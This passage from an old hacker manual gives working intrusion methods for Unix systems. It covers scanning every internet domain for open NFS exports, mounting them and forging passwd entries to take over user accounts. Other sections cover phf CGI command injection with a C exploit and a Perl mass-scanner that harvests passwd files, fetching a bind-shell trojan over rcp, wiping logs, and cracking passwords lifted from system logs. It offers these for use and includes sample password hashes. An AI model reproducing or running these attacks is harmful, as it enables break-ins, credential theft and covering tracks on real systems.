  1443. What you will need to get started here is a hacked root account.  To be able to
  1444. mount the remote drive and gain access you will need to modify the system's
  1445. password file and use the su command.
  1446.  
  1447. Ok let's say we have root access. let's get started!
  1448.  
  1449. You can see if another system has mountable drives by using the showmount
  1450. command.
  1451.  
  1452. From root account:
  1453.  
  1454. $root> showmount -e wwa.com
  1455. mount clntudp_create: RPC: Port mapper failure - RPC: Unable to receive
  1456.  
  1457. Ok, no problem, this domain will not work, go on to the next one...
  1458.  
  1459. $root> showmount -e seva.net
  1460. Export list for seva.net:
  1461. /var/mail                                        pluto.seva.net
  1462. /home/user1                                      pluto.seva.net
  1463. /usr/local                                       pluto.seva.net,rover.seva.net
  1464. /export/X11R6.3                                  rover.seva.net
  1465. /export/rover                                    rover.seva.net,pluto.seva.net
  1466. /export/ftp/linux-archive/redhat-4.1/i386/RedHat (everyone)
  1467.  
  1468. Notice the (everyone), this would be good if we wanted to install linux
  1469. from this guy's box, but we want open directories to users.... so go on to
  1470. the next one...
  1471.  
  1472. $root> showmount -e XXXXX.XXX < this one worked ... find your own ;)
  1473. Export list for XXXXX.XXX:
  1474. /export/home (everyone)
  1475.  
  1476. Now this guy mounted his home directory, the user accounts are off of the home
  1477. directory ;) and look above ... (everyone) can access it!
  1478.  
  1479.  
  1480. Ok, this section was to show you how to see if they are mountable, in the next
  1481. section i will show you how to mount and hack it.  But for now, here is a
  1482. script that will scan for EVERY DOMAIN on the internet that is mountable and
  1483. log them for you.
  1484.  
  1485. To use this script simply use the domain ripper in the PHF section and download
  1486. the needed files from rs.internic.net rip some domains and name the file
  1487. 'domains' and startup the script.  To make it run in the background put a
  1488. & after the command.  like this: cmount.pl&
  1489.  
  1490. How it works:
  1491.  
  1492. When you run the file it will go to the domains list and run showmount -e
  1493. on each domain, if it finds that there is a return on mountable drives
  1494. it will save the info in the current directory in files named:
  1495. domain.XXX.export.  All you have to do is view the files and mount the drives!
  1496.  
  1497. --------------- start of cmount.pl
  1498. #!/usr/bin/perl -w
  1499. #
  1500. # Check NFS exports of hosts listed in file.
  1501. # (Hosts are listed, once per line with no additional whitespaces.)
  1502. #
  1503. # ii@dormroom.pyro.net - 2/27/97.
  1504.  
  1505. # Assign null list to @URLs which will be added to later.
  1506. my(@result) = ();
  1507. my(@domains) = ();
  1508. my($program) = "showmount -e ";
  1509.  
  1510. # Pull off filename from commandline. If it isn't defined, then assign default.
  1511. my($DomainFilename) = shift;
  1512. $DomainFilename = "domains" if !defined($DomainFilename);
  1513.  
  1514. # Do checking on input.
  1515. die("mountDomains: $DomainFilename is a directory.\n") if (-d $DomainFilename);
  1516.  
  1517. # Open $DomainFilename.
  1518. open(DOMAINFILE, $DomainFilename) or 
  1519.   die("mountDomains: Cannot open $DomainFilename for input.\n");
  1520.   
  1521. while (<DOMAINFILE>) {
  1522.   chomp($_);
  1523.   print "Now checking: $_";
  1524.  
  1525.   # Note difference in program output capture from "geturl.pl".  
  1526.   open (EXECFILE, "$program $_ |");
  1527.   @execResult = <EXECFILE>;
  1528.   next if (!defined($execResult[0]));
  1529.   if ($execResult[0] =~ /^Export/) {
  1530.     print " - Export list saved.";
  1531.     open (OUTFILE, ">$_.export");
  1532.     foreach (@execResult) {
  1533.       print OUTFILE;
  1534.     }
  1535.     close (OUTFILE);
  1536.   }
  1537.   close(EXECFILE);
  1538.   print "\n";
  1539. }
  1540.   
  1541. # We are done. Close all files and end the program.
  1542. close (DOMAINFILE);
  1543.  
  1544. 0;
  1545. ----------------- end of cmount.pl
  1546.  
  1547. Ok, now on to mounting the drives ....
  1548.  
  1549. lets say we did a showmount -e domain.com and got back:
  1550.  
  1551. Export list for domain.com:
  1552. /   (everyone)
  1553. /p1 (everyone)
  1554. /p2 (everyone)
  1555. /p3 (everyone)
  1556. /p5 (everyone)
  1557. /p6 (everyone)
  1558. /p7 (everyone)
  1559. /var/spool/mail titan,europa,galifrey
  1560. /tmp            (everyone)
  1561.  
  1562. We would want to mount /  .. yup .... this guy has his entire system mountable!
  1563.  
  1564. $root> mkdir /tmp/mount
  1565. $root> mount -nt nfs domain.com:/ /tmp/mount
  1566.  
  1567. If he had the home directory mountable the command would be:
  1568.  
  1569. $root> mount -nt nfs domain.com:/home /tmp/mount
  1570.  
  1571. To unmount the system, make sure you are out of the directory and type:
  1572. $root> umount /tmp/mount
  1573.  
  1574. Make sure you make the mount directory first, you can make this anywhere on the
  1575. system that you want.  If the systems /mnt directory is empty you can use it
  1576. also.
  1577.  
  1578. Ok this is for real:
  1579.  
  1580. bash# ls -al /mnt  ; making sure the mnt dir is empty
  1581. ls: /mnt: No such file or directory ; there was not even a dir there ;)
  1582. bash# mkdir /mnt ; lets make one for them <g>rin
  1583. bash# mount -nt nfs xxxxxx.xxx:/export/usr /mnt ; let's mount the sucker ...
  1584. bash# cd /mnt ; changing to the mounted drive...
  1585. bash# ls ; just the plain dir ..
  1586. TT_DB             home              raddb             share
  1587. back              local             radius-961029.gz  www
  1588. exec              lost+found        radius-961029.ps
  1589. bash# ; there is is up there, the home dir ... oh good ...
  1590. bash# cd home
  1591. bash# ls -l  ; long directory listing ... tom is looking good here ;)
  1592. total 18
  1593. drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
  1594. drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
  1595. drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
  1596. drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
  1597. drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
  1598. drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
  1599. drwxr-xr-x   6 news     news          512 Mar  6  1996 news
  1600. drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
  1601. drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
  1602. drwxr-xr-x   2 302      other         512 Mar  1 10:10 tom
  1603. drwxr-xr-x   5 601      daemon        512 Jan 26  1996 viewx
  1604. drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
  1605. bash# ; notice tom is user number 302 ... hmmm lets put him in our passwd file
  1606. bash# pico /etc/passwd
  1607. tom:x:302:2::/home:/bin/bash ; this should do it ;)
  1608. bash# su - tom ; su to the tom account ...
  1609. bash$ ls -l
  1610. total 18
  1611. drwxr-xr-x   2 judy     other         512 Feb  1 10:41 garry
  1612. drwxr-xr-x  69 infobahn other        5632 Mar 10 01:42 horke
  1613. drwxr-xr-x  11 301      other        2048 Mar  1 10:25 jens
  1614. drwxr-xr-x   2 300      other         512 Oct 15 07:45 joerg
  1615. drwxr-xr-x   2 604      other         512 Feb  8 13:00 mailadmin
  1616. drwxr-xr-x   2 melissa  other         512 Sep 27 06:15 mk
  1617. drwxr-xr-x   6 news     news          512 Mar  6  1996 news
  1618. drwxr-xr-x   2 303      other         512 Jan 24 04:17 norbert
  1619. drwxr-xr-x   4 jim      other         512 Sep 27 06:16 pauk
  1620. drwxr-xr-x   2 tom      other         512 Mar  1 10:10 tom
  1621. drwxr-xr-x   5 601      daemon        512 Jan 26  1996 view
  1622. drwxr-xr-x  10 15       audio         512 Oct 17 08:03 www
  1623. bash$ ; NOTICE above that toms user number is gone ... we now own his dir!
  1624. bash$ echo + +>>tom/.rhosts  ; this will make a file in his dir called .rhosts
  1625. bash$ ;inside .rhosts will be wild cards + +  for anyone to rlogin to his account
  1626. bash$ rlogin xxxxx.xxx  we are tom on our machine, so lets just rlogin plain.
  1627. Last login: Fri Mar  7 00:16:03 from xxxxx.xxxxxxxxxx
  1628. Sun Microsystems Inc.   SunOS 5.5       Generic November 1995
  1629. >  ; yup we are in!
  1630. > ls -al
  1631. total 8
  1632. drwxr-xr-x   2 tom      group        512 Mar  1 17:10 .
  1633. drwxr-xr-x  14 tom      group        512 Jan 24 11:16 ..
  1634. -rw-r--r--   1 tom      group        144 Dec 30 15:32 .profile
  1635. -rw-r--r--   1 tom      bin            8 Mar 11 08:26 .rhosts
  1636. >
  1637.  
  1638. So now we have access, so lets just hack this system ... oops, that is another
  1639. lesson!  Have pun!
  1640.  
  1641. ---------------------
  1642. Chapter III
  1643. Getting passwd files
  1644. ---------------------
  1645.  
  1646. Here are some ways to get password files from unix systems.  Most of them
  1647. you will need an account, but there is still a way to access to the system
  1648. without having an account.  Here you will learn the difference between a
  1649. regular passwd file and a shadowed passwd file.  You will also learn a way
  1650. to read the shadowed password file.
  1651.  
  1652. ------------------
  1653. Section 3A
  1654. PHF WWW PH Query
  1655. ------------------
  1656.  
  1657. There is a program in the WWW cgi-bin directory called phf, if the file
  1658. is there, and has permission x, you can access it by using the www, or
  1659. a text version browser in linux called lynx.  Now you can read files on the
  1660. system (yup .. /etc/passwd) and save them to files local in your computer.
  1661.  
  1662. There are many things we can get done here.  If the server is running their
  1663. httpd server as root owner, we can be root by using phf and even change an
  1664. account password on the machine.
  1665.  
  1666. I will include a perl script here that will auto check all of the systems out
  1667. there by using the getdomain.pl script above and check what the server is
  1668. running under.  If it is running under root, it will just log the id, if the
  1669. server is not running under root, it will auto get the passwd file from the
  1670. /etc directory and name it domainname.???.passwd.
  1671.  
  1672. I will also attach a script that will allow you to use a simple command from
  1673. a shell and if phf is on the system allow you to pipe commands from the shell
  1674. to the remote system with one command line.
  1675.  
  1676. Ok now that you know what is coming, lets teach you how to use phf.
  1677.  
  1678. Use your favorite web browser, or the text version in unix called most of
  1679. the time lynx, on some systems www.
  1680.  
  1681. After the screen comes up type the letter g, now a line appears like below:
  1682.  
  1683. URL to open:
  1684.   Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  1685.   H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
  1686.  
  1687. You type:
  1688.  
  1689. URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0aid
  1690.   Arrow keys: Up and Down to move. Right to follow a link; Left to go back.
  1691.   H)elp O)ptions P)rint G)o M)ain screen Q)uit /=search [delete]=history list
  1692.  
  1693. It returns:
  1694.  
  1695.                                  QUERY RESULTS
  1696.  
  1697.  
  1698.  
  1699.    /usr/local/bin/ph -m alias=x id
  1700.  
  1701. uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
  1702.  
  1703.  
  1704. So here we see it is running under a user (nobody), so we can be a user named
  1705. nobody on this system.  We are not root, but this will have to do ;)
  1706.  
  1707. Notice the command line:
  1708.  
  1709. http://afp.org/cgi-bin/phf/?Qalias=x%0aid
  1710.  
  1711. The id was the command to the server to give us the id of the user.  Some times
  1712. you will have to give the full path to the file you want to run, in this case
  1713. it would have been: http://afp.org/cgi-bin/phf/?Qalias=x%0a/usr/bin/id
  1714.  
  1715. Notice that after the %0a you start your command line.  If you need to enter
  1716. a space you would put a %20 instead of the space.  Here would be some sample
  1717. command lines. I will start them with %0a
  1718.  
  1719. Cat the passwd file
  1720. %0a/bin/cat%20/etc/passwd
  1721.  
  1722. Get a long directory of the /etc directory of all files starting with pass
  1723. %0als%20-al%20/etc/pass*
  1724.  
  1725. backup the passwd file if you have root access to httpd to passwd.my
  1726. %0acp%20/etc/passwd%20/etc/passwd.my
  1727.  
  1728. Change the root passwd (if the server will let you (most times it works)
  1729. %0apasswd%20root
  1730.  
  1731. (the above should let you login without a password, make sure to copy the
  1732. passwd.my file over the passwd file right away, and then delete the backup,
  1733. then make yourself an suid bash shell somewhere and rename it, sniff to get
  1734. your passwords)
  1735.  
  1736. If you know how to type commands in unix and don't forget that you need to
  1737. use %20 in the place of spaces, you will not have any problems!
  1738.  
  1739. Ok lets cat the passwd file on this box ;)
  1740.  
  1741. URL to open: http://xxx.org/cgi-bin/phf/?Qalias=x%0acat%20/etc/passwd
  1742.  
  1743. We get:
  1744.  
  1745.  
  1746.                                  QUERY RESULTS
  1747.  
  1748.  
  1749.  
  1750.    /usr/local/bin/ph -m alias=x cat /etc/passwd
  1751.  
  1752. root:R0rmc6lxVwi5I:0:0:root:/root:/bin/bash
  1753. bin:*:1:1:bin:/bin:
  1754. daemon:*:2:2:daemon:/sbin:
  1755. adm:*:3:4:adm:/var/adm:
  1756. lp:*:4:7:lp:/var/spool/lpd:
  1757. sync:*:5:0:sync:/sbin:/bin/sync
  1758. shutdown:*:6:0:shutdown:/sbin:/sbin/shutdown
  1759. halt:*:7:0:halt:/sbin:/sbin/halt
  1760. mail:*:8:12:mail:/var/spool/mail:
  1761. news:*:9:13:news:/usr/lib/news:
  1762. uucp:*:10:14:uucp:/var/spool/uucppublic:
  1763. operator:*:11:0:operator:/root:/bin/bash
  1764. games:*:12:100:games:/usr/games:
  1765. man:*:13:15:man:/usr/man:
  1766. postmaster:*:14:12:postmaster:/var/spool/mail:/bin/bash
  1767. nobody:*:-2:100:nobody:/dev/null:
  1768. ftp:*:404:1::/home/ftp:/bin/bash
  1769. guest:*:405:100:guest:/dev/null:/dev/null
  1770. bhilton:LkjLiWy08xIWY:501:100:Bob Hilton:/home/bhilton:/bin/bash
  1771. web:Kn0d4HJPfRSoM:502:100:Web Master:/home/web:/bin/bash
  1772. mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
  1773.  
  1774. A small passwd file <g>rin
  1775.  
  1776. If you want to save this to a file in your local directory, just choose the
  1777. print option in the text browser and you will get an option to save the file
  1778. in your home directory.
  1779.  
  1780. Lets learn something here:
  1781.  
  1782. mary:EauDLA/PT/HQg:503:100:Mary C. Hilton:/home/mary:/bin/bash
  1783. 1   :2            :3  :4  :5             :6         :7
  1784.  
  1785. 1=username 2=encrypted password 3=user number 4=groop id 5=real name
  1786. 6=home directory 7=shell
  1787.  
  1788. Ok, lets say you do not want to keep using the WWW browser, here is a script
  1789. you can compile to just type regular commands from your shell.
  1790.  
  1791. phf.c
  1792. ------ cut here----
  1793.  
  1794. /* Some small changes for efficiency by snocrash. */
  1795. /*
  1796.  * cgi-bin phf exploit by loxsmith [xf]
  1797.  *
  1798.  * I wrote this in C because not every system is going to have lynx.  Also,
  1799.  * this saves the time it usually takes to remember the syntatical format
  1800.  * of the exploit.  Because of the host lookup mess, this will take
  1801.  * approximately 12 seconds to execute with average network load.  Be patient.
  1802.  *
  1803.  */
  1804.  
  1805. #include <stdio.h>
  1806. #include <string.h>
  1807. #include <sys/types.h>
  1808. #include <sys/socket.h>
  1809. #include <netinet/in.h>
  1810. #include <netdb.h>
  1811. #include <errno.h>
  1812.  
  1813. int main(argc, argv)
  1814.      int argc;
  1815.      char **argv;
  1816. {
  1817.      int i = 0, s, port, bytes = 128;
  1818.      char exploit[0xff], buffer[128], hostname[256], *command, j[2];
  1819.      struct sockaddr_in sin;
  1820.      struct hostent *he;
  1821.  
  1822.      if (argc != 3 && argc != 4) {
  1823.           fprintf(stderr, "Usage: %s command hostname [port]", argv[0]);
  1824.           exit(1);
  1825.      }
  1826.  
  1827.      command = (char *)malloc(strlen(argv[1]) * 2);
  1828.  
  1829.      while (argv[1][i] != '\0') {
  1830.           if (argv[1][i] == 32) strcat(command, "%20"); else {
  1831.                sprintf(j, "%c", argv[1][i]);
  1832.                strcat(command, j);
  1833.           }
  1834.           ++i;
  1835.      }
  1836.  
  1837.      strcpy(hostname, argv[2]);
  1838.      if (argc == 4) port = atoi(argv[3]); else port = 80;
  1839.  
  1840.      if (sin.sin_addr.s_addr = inet_addr(hostname) == -1) {
  1841.           he = gethostbyname(hostname);
  1842.       if (he) {
  1843.                sin.sin_family = he->h_addrtype;
  1844.                memcpy((caddr_t) &sin.sin_addr, he->h_addr_list[0], 
  1845.                       he->h_length);
  1846.           } else {
  1847.                fprintf(stderr, "%s: unknown host %s\n", argv[0], hostname);
  1848.                exit(1);
  1849.           }
  1850.      }
  1851.      sin.sin_family = AF_INET;
  1852.      sin.sin_port = htons((u_short) port);
  1853.  
  1854.      if ((s = socket(sin.sin_family, SOCK_STREAM, 0)) < 0) {
  1855.           fprintf(stderr, "%s: could not get socket\n", argv[0]);
  1856.           exit(1);
  1857.      }
  1858.  
  1859.      if (connect(s, (struct sockaddr *)&sin, sizeof(sin)) < 0) {
  1860.           close(s);
  1861.           fprintf(stderr, "%s: could not establish connection\n", argv[0]);
  1862.           exit(1);
  1863.      }
  1864.  
  1865.      sprintf(exploit, "GET /cgi-bin/phf/?Qalias=X%%0a%s\n", command);
  1866.      free(command);
  1867.      write(s, exploit, strlen(exploit));
  1868.      while(bytes == 128) {
  1869.           bytes = read(s, buffer, 128);
  1870.           fprintf(stdout, buffer);
  1871.      }
  1872.      close(s);
  1873. }
  1874.  
  1875. -------- cut here
  1876.  
  1877. Here is how you use it:
  1878.  
  1879. bash% phf id xxx.org
  1880.  
  1881. ------
  1882. <H1>Query Results</H1>
  1883. <P>
  1884. /usr/local/bin/ph -m  alias=X
  1885. id
  1886. <PRE>
  1887. uid=65534(nobody) gid=65535(nogroup) groups=65535(nogroup)
  1888. </GET /cgi-bin/phf/?Qalias=X%0aid
  1889. ------
  1890.  
  1891. The above was our response, remember to use the %codes after your command.
  1892. To cat the password file using this program you would type:
  1893.  
  1894. phf cat%20/etc/passwd hostname.xxx
  1895.  
  1896. Yet Another way to use phf was written by Quantumg on his web page, this is
  1897. new and just thought of, so I was sure to add this right into this manual
  1898. for you.
  1899.  
  1900. Here is the text:
  1901.  
  1902.  
  1903. New QG Phf Attack MO
  1904. --------------------
  1905.  
  1906. yerp.. I know it's a long time since phf has been considered a viable
  1907. attack but you'd be surprised just how many stupid linux operators there
  1908. are out there..
  1909.  
  1910. first.. a little background.
  1911.  
  1912. Phf is a cgi-bin executable found on apache web servers.  It is sploitable
  1913. and the result is you can execute commands on the web server as whoever
  1914. they're running httpd as, usually nobody but sometimes as root.  To sploit
  1915. it is simply a matter of connecting to the web server and giving the
  1916. query:
  1917.  
  1918.      GET /cgi-bin/phf/?Qalias=X%0a
  1919.  
  1920. followed by the command you wish to execute with %20 used for spaces.  You
  1921. can do no piping, quotes, shell replacements, etc.
  1922.  
  1923. ok.. so on with the attack.  What we are going to do is go and look for a
  1924. linux box (I usually telnet to the box to see the issue.net) which has the
  1925. phf bug.  I, like a whole lot of other people, use the program phf 
  1926. loxsmith to exploit the phf bug.  All it does is connect to the host
  1927. specified in argv[2] and dump the query with argv[1] as the command.  It
  1928. is used as such:
  1929.  
  1930.     phf id www.host.to.hack
  1931.  
  1932. where id is the command you want to execute.  This is the first thing I'd
  1933. do.  Not only does it tell me if the box is sploitable, it also tells me
  1934. what they are running httpd as.  So, assuming we get back a nice response,
  1935. we have a box to hack.  The first problem is getting stuff onto the box to
  1936. execute.  It's not much of a problem.  You can 1 check for writable ftp
  1937. directory's or 2, and my personal favorite, use rcp.  To use rcp you need
  1938. to set up a few things on your machine (or better yet, a machine that you
  1939. hacked earlier).  The first of these things is an account that you can use
  1940. for the transfer.  Select something simple and unmemoriable.  I use the
  1941. username "test".  Next you need to put the name of the host you are
  1942. hacking (www.host.to.hack) in your /etc/hosts.equiv.  Then you need to
  1943. make sure you have a "shell" line in your /etc/inetd.conf and that you
  1944. have restarted inetd to read this line.  Finally you need to create a
  1945. .rhosts file in the test's homedir that has the name of the host you're
  1946. hacking followed by the username that httpd is running as.
  1947.  
  1948. /etc/hosts.equiv:
  1949. www.host.to.hack
  1950.  
  1951. /etc/inetd.conf:
  1952. shell   stream  tcp     nowait  root    /usr/sbin/tcpd  in.rshd -L
  1953.  
  1954. ~test/.rhosts:
  1955. www.host.to.hack nobody
  1956.  
  1957. ok.. so once you have all that set up you can get things onto the remote
  1958. host. 
  1959.  
  1960. What I used to do was transfer little hacks across that had been heavily
  1961. modified to work whilst being executed by phf.  It was not a pleasant
  1962. affair, nor very effective.  Now we have a solution.  What we send across
  1963. is a modified in.telnetd.  It has been modified to start up in "debug"
  1964. mode which makes it bind to a port (9999) and execute /bin/sh instead of
  1965. /bin/login.  It also forks before executing the shell which means it will
  1966. sit on port 9999 and accept as many connections as you want.  
  1967.  
  1968. So, to get this onto the remote host, all we have to do is put it in
  1969. test's homedir (make sure it's readable) and do:
  1970.  
  1971.      phf 'rcp test@my.ip.address:bindwarez /tmp' www.host.to.hack
  1972.  
  1973. in your local logs you will see a connection attempt to in.rshd and the
  1974. command it executes (something like 'rcp -f bindwarez').. after the phf
  1975. finishes bindwarez will be in the /tmp on the remote machine.  You can now
  1976. execute it and telnet to port 9999.  
  1977.  
  1978. If the web site was stupid enough to be running httpd as root you will now
  1979. want to secure it by installing an in.telnetd trojan and cleaning up the
  1980. logs.  However, more likely, you will only have a nobody shell and have to
  1981. hack root with some other sploit.  I usually find this no problem because
  1982. the admin has taken it as granted that no-one will ever have a shell on
  1983. their www box and thus there's no need to secure it - which they're
  1984. obviously not very good at if they still have sploitable phf.  
  1985.  
  1986. I cant stress the importance of cleaning out the logs tho.  Your address,
  1987. the one in the rcp command you sent, is right there for the admin to see.
  1988. They dont even have to dig.  These logs are usually in
  1989. /usr/local/etc/httpd/logs and sometimes in /var/lib/httpd/logs.  The best
  1990. way to find it is to try these locations and then, if you still don't find
  1991. it, do: find / -name cgi-bin.  That'll do it.  Also don't forget to kill
  1992. the bindwarez processes and remove the /tmp/bindwarez.  
  1993.  
  1994. This is a really kewl attack.. it solves a lot of problems which makes phf
  1995. so annoying.  
  1996.  
  1997. L8s
  1998.  
  1999. QuantumG
  2000.  
  2001.  
  2002. Another way to use phf would be to use the perl script a few scripts above
  2003. called getdomain.pl to rip host names out of the domain files on
  2004. rs.internic.net, after this is done you can 'probe' every domain on the net
  2005. using geturl.pl.
  2006.  
  2007. Here is the script:
  2008.  
  2009. geturl.pl
  2010. --------- cut here
  2011.  
  2012. #!/usr/bin/perl -w
  2013. #
  2014. # geturl by Nfin8 / Invisible Evil
  2015. # Questions to: /msg i-e  or  /msg i^e
  2016. #
  2017. # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/usr/bin/id
  2018. # Format of http://website.dom/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd
  2019. # IF result of first command returns an "id=" then check for user. If user
  2020. # is not root then execute the 2nd form.
  2021.  
  2022. # Assign null list to @URLs which will be added to later.
  2023. my(@URLs)=();
  2024. my($program) = "lynx -dump";
  2025.  
  2026. # Pull off filename from commandline. If it isn't defined, then assign default.
  2027. my($URLfilename) = shift;
  2028. $URLfilename = "urls" if !defined($URLfilename);
  2029.  
  2030. # Do checking on input.
  2031. die("GetURL: $URLfilename is a directory.\n") if (-d $URLfilename);
  2032.  
  2033. # Open and read contents of URL file into @URL by line.
  2034. open(FILE, $URLfilename) or die("GetURL: Cannot open $URLfilename for input.\n");
  2035. @URLs = <FILE>;
  2036. close(FILE);
  2037.  
  2038. # Open output file.
  2039. open(OUTFILE, ">>GetURLResults") or die("GetURL: Cannot open output file.\n");
  2040.  
  2041. my($url)="";
  2042. foreach $url (@URLs) {
  2043.   print ("Now checking: $url");
  2044.   chomp($url);
  2045.   $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/usr/bin/id`;
  2046.   print OUTFILE ("\n============ $url ============\n");
  2047.   foreach (split(/\n/, $result)) {
  2048.     print OUTFILE ("$_\n");
  2049.   }
  2050.   if ($result =~ m/id=/i) {
  2051.     if ($result =~ m/root/i) {
  2052.       print ("Logging root response.\n");
  2053.     } else {
  2054.       print ("Got ID response, getting /etc/passwd...");
  2055.       $result = `$program http://${url}/cgi-bin/phf?Qalias=x%0a/bin/cat%20/etc/passwd`;
  2056.       
  2057.       # Output results to file named <domain>.passwd;
  2058.       local($domainfilename)="";
  2059.       $domainfilename = $url;
  2060.       if (open(PASSWDFILE, ">${domainfilename}.passwd")) {
  2061.         print PASSWDFILE ("\n");
  2062.         foreach (split(/\n/, $result)) {
  2063.           print PASSWDFILE ("$_\n");
  2064.         }
  2065.         close(PASSWDFILE);
  2066.         print ("Done! [$domainfilename].\n");
  2067.       } else {
  2068.         print ("FAILED! [$domainfilename].\n");
  2069.       }
  2070.     }
  2071.   }
  2072. }
  2073.   
  2074. # We are done. Close the output file and end the program.
  2075. close (OUTFILE);
  2076.  
  2077.  
  2078. 0;
  2079. 
  2080. ------------- cut here
  2081.  
  2082. Ok this is easy, if you name your domain file urls, you are all set to go.
  2083. Just type geturl.pl after chmod +x on the file.
  2084.  
  2085. Here are my doc's for the file:
  2086.  
  2087. This handy tool is easy to use and will get you some root access and
  2088. many passwd files from different domains.
  2089.  
  2090. geturl.pl will try and log results for every domain on the internet.  You
  2091. choose the type: .COM .EDU .ORG .MIL .GOV  (OR) you can supply a list of
  2092. IP addresses to  be checked.  If  finds a root access account it
  2093. will simply log uid=root in the result file and go on to the next domain.
  2094. If PHF Probe finds non-root access it will snag the passwd file for you and
  2095. save it in the current directory in the (domainname.???.passwd) format.
  2096.  
  2097. Here are the short doc's and how it works.  Any questions /msg i-e or i^e
  2098.  
  2099. ftp to ftp.rs.internic.net
  2100.  
  2101. in the domain directory you will find:
  2102.  
  2103. com.zone.gz
  2104. edu.zone.gz
  2105. gov.zone.gz
  2106. mil.zone.gz
  2107. net.zone.gz
  2108. org.zone.gz
  2109.  
  2110. download these files and run getdomain.pl on the domains you want to target
  2111. first, in this manor:  "perl getdomain.pl com.zone com >com.all"
  2112.  
  2113. What this will do is rip all of the .COM domains and put them into a file
  2114. called com.all.
  2115.  
  2116. If you wanted to do all of the .EDU addresses you would type:
  2117.  
  2118. perl getdomain.pl edu.zone edu >edu.all
  2119.  
  2120. Now you will have a list to use with (geturl.pl) called edu.all
  2121.  
  2122. To use this list just type:
  2123.  
  2124. geturl.pl <filename>
  2125.  
  2126. filename=edu.all or com.all  and leave out the <>'s
  2127. if you name your domain file 'urls' it does not require <filename>
  2128.  
  2129. results will log into a file name of: GetURLResults in the current directory.
  2130.  
  2131. 1. geturl.pl will search using lynx (make sure it is in your path)
  2132.  
  2133. 2. if geturl finds it has root access to httpd on a url it will just log
  2134.    root for that domain in the result file.  If geturl finds it is not root,
  2135.    but still has access to the domain using phf it will snatch the domain
  2136.    passwd file and save it in the current directory under fulldomainname.passwd
  2137.  
  2138. 3. if you like you can just give a list of ip addresses in the feed file
  2139.  
  2140. 4. i use os/2 with lynx and perl ported to the hpfs so i have no problems
  2141.    with the long file names.  i have tested it under unix and it works good
  2142.    so you should have no problems running this in a unix shell.
  2143.  
  2144. What you need:
  2145.  
  2146. 1. Perl in the path
  2147. 2. Lynx in the path
  2148. 3. 256 char filenames ie: (unix or os/2 hpfs)
  2149. 4. The files included here
  2150. 5. Internic's domain files from their ftp or just make your own list or
  2151.    urls or IP's and name the file 'urls' and type: geturl.pl
  2152.  
  2153. Caution:
  2154.  
  2155. It would be best if you paid cash for an internet account in your area under
  2156. another name or used a hacked account to get all of your results, then used
  2157. another safe account to start your work on the results.  BUT I don't need to
  2158. tell you this right?  I take no blame for these files, they are provided for
  2159. you to use to check security on domains ;)
  2160.  
  2161.  
  2162.  getdomain.pl: to rip .ORG .COM .EDU .MIL .GOV Internic domain files
  2163.     geturl.pl: to check and log the results of each domain
  2164. GetURLResults: The file that geturl makes as its log file
  2165.  
  2166. Here is one more thought:
  2167.  
  2168. If you can read the /var/adm/messages file you can get some user passwords
  2169. out of there lotz of times!  I have even got ROOT passwords from there!
  2170.  
  2171. Wow many times have you been in a hurry to login?  You type the password
  2172. at the Login:  his is easy to do on one of those days that nothing seems to
  2173. be going right.  You failed the login twice, the system is running slow, and it
  2174. just happens!
  2175.  
  2176. Login: you hit enter
  2177. Password: you think this is wanting the login name so you type your name
  2178. Login: you type your password
  2179.  
  2180. In the messages file it looks like this:
  2181.  
  2182. Login: yourpassword
  2183. Password ****** They don't give it, only the login name, but ooops, you
  2184. typed your password, and if we have access to read the messages file,
  2185. we have a good password to put in crackerjack and run it.  If on a small
  2186. system, no prob ... lets hope it's root ;)
  2187.  
  2188. Here is a script to make things easy!
  2189.  
  2190.  
  2191. FOR QUANTUM'S BINDWAREZ FILE: You will find it at the end of this paper
  2192. in the appendix uuencoded.
  2193.  
  2194. ------------ cut here
  2195.  
  2196. #!/bin/sh
  2197. # Under a lot of linux distributions(I know Redhat 3.0.3 and Slackware 3.0)
  2198. # /var/log/messages is world readable. If a user types in his password at
  2199. # the login prompt, it may get logged to /var/log/messages.
  2200. #
  2201. # I could swear this topic has been beaten to death, but I still see this
  2202. # problem on every linux box I have access to.
  2203. #
  2204. # Dave G.
  2205. # 12/06/96
  2206. # <daveg@escape.com>
  2207. # http://www.escape.com/~daveg
  2208.  
  2209. echo Creating Dictionary from /var/log/messages, stored in /tmp/messages.dict.$$
  2210.  
  2211. grep "LOGIN FAILURE" /var/log/messages | cut -d',' -f2 | cut -c2- | sort | uniq >> /tmp/messages.dict.$$
  2212.  
  2213. if [ ! -e ./scrack ]
  2214. then
  2215.    echo "Creating scrack.c"
  2216.    cat << ! > scrack.c
  2217. #include <stdio.h>
  2218. #include <unistd.h>
  2219. #include <pwd.h>
  2220. #include <sys/types.h>
  2221. #define get_salt( d, s ) strncpy( d, s, 2 )
  2222. void
  2223. main(argc,argv)
  2224. int argc;
  2225. char **argv;
  2226. {
  2227.    struct passwd *pwd;
  2228.    FILE *fp;
  2229.    char buff[80], salt[3], *encrypted_string;
  2230.  
  2231.    if ( ( fp = fopen( argv[1], "r" ) ) == NULL )
  2232.    {
  2233.       fprintf( stderr, "Couldnt find dict file\n" );
  2234.       exit(1);
  2235.    }
  2236.    while ( fgets( buff, 80, fp ) != NULL )
  2237.    {
  2238.       setpwent();
  2239.       buff[strlen(buff)-1]='\0';
  2240.       while ( ( pwd = getpwent() ) != NULL )
  2241.       {
  2242.         if ( strcmp( (*pwd).pw_passwd, "*" ) != 0 &&
  2243.            ( strlen( (*pwd).pw_passwd ) == 13 ) )
  2244.         {
  2245.            get_salt(salt, (*pwd).pw_passwd );
  2246.  
  2247.            encrypted_string = crypt( buff, salt );
